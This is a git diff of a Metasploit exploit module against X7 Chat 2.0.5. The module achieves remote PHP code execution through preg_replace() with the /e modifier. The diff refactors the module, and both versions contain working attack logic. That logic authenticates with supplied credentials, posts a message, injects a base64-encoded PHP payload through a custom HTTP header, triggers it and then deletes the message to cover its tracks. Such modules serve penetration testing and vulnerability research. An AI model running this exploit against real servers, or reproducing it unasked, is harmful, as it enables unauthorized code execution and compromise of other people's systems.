diff --git a/modules/exploits/multi/http/x7chat2_php_exec.rb b/modules/exploits/multi/http/x7chat2_php_exec.rb index 6be87ed154..3a2005cf76 100644 --- a/modules/exploits/multi/http/x7chat2_php_exec.rb +++ b/modules/exploits/multi/http/x7chat2_php_exec.rb @@ -13,11 +13,12 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution', + 'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution', 'Description' => %q{ - This module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1. - Library lib/message.php uses preg_replace() function with the /e modifier. - This allows a remote authenticated attacker to execute PHP code in the remote machine. + This module exploits a post-auth vulnerability found in X7 Chat versions + 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which + uses preg_replace() function with the /e modifier. This allows a remote + authenticated attacker to execute arbitrary PHP code in the remote machine. }, 'License' => MSF_LICENSE, 'Author' => @@ -25,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Fernando Munoz ', # discovery & module development 'Juan Escobar ', # module development @itsecurityco ], - 'Platform' => ['php'], + 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'Oct 27 2014', @@ -40,25 +41,25 @@ class Metasploit3 < Msf::Exploit::Remote end def check - res = exec_php('phpinfo(); die();', true) + res = exec_php('phpinfo(); die();', true) - if res && res.body =~ /This program makes use of the Zend/ - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Unknown - end + if res && res.body =~ /This program makes use of the Zend/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Unknown + end end - def exec_php(php_code, check = false) + def exec_php(php_code, is_check = false) # remove comments, line breaks and spaces of php_code - pclean = php_code.gsub(/(\s+)|(#.*)/, '') + payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals) - while Rex::Text.encode_base64(pclean) =~ /=/ - pclean = "#{ pclean } " + while Rex::Text.encode_base64(payload_clean) =~ /=/ + payload_clean = "#{ payload_clean } " end - pb64 = Rex::Text.encode_base64(pclean) + payload_b64 = Rex::Text.encode_base64(payload_clean) cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }" cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }" @@ -82,14 +83,14 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if !res || res.code != 200 + unless res && res.code == 200 print_error("Sending the message (#{ rand_text }) has failed") - return + return false end if res.body =~ /([0-9]*)">#{ rand_text }/ message_id = Regexp.last_match[1] - userpanel = 'user_cp' + user_panel = 'user_cp' else print_error("Could not find message (#{ rand_text }) in the message list") @@ -111,35 +112,42 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if !res || res.code != 200 + unless res && res.code == 200 print_error("Sending the message (#{ rand_text }) has failed") - return + return false end if res.body =~ /([0-9]*)">#{ rand_text }/ message_id = Regexp.last_match[1] - userpanel = 'usercp' + user_panel = 'usercp' else print_error("Could not find message (#{ rand_text }) in the message list") - return + return false end end print_status("Accessing message (#{ rand_text })") print_status("Sending payload in HTTP header '#{ rand_text }'") + + if is_check + timeout = 20 + else + timeout = 3 + end + res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'headers' => { 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", - rand_text => pb64, + rand_text => payload_b64, }, 'vars_get' => { - 'act' => userpanel, + 'act' => user_panel, 'cp_page' => 'msgcenter', 'read' => message_id, } - }) + }, timeout) res_payload = res @@ -151,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };", }, 'vars_get' => { - 'act' => userpanel, + 'act' => user_panel, 'cp_page' => 'msgcenter', 'delete' => message_id, } @@ -161,15 +169,20 @@ class Metasploit3 < Msf::Exploit::Remote print_good("Message (#{ rand_text }) removed") else print_error("Removing message (#{ rand_text }) has failed") + return false end # if check return the response - if check + if is_check return res_payload + else + return true end end def exploit - exec_php(payload.encoded) + unless exec_php(payload.encoded) + fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.") + end end end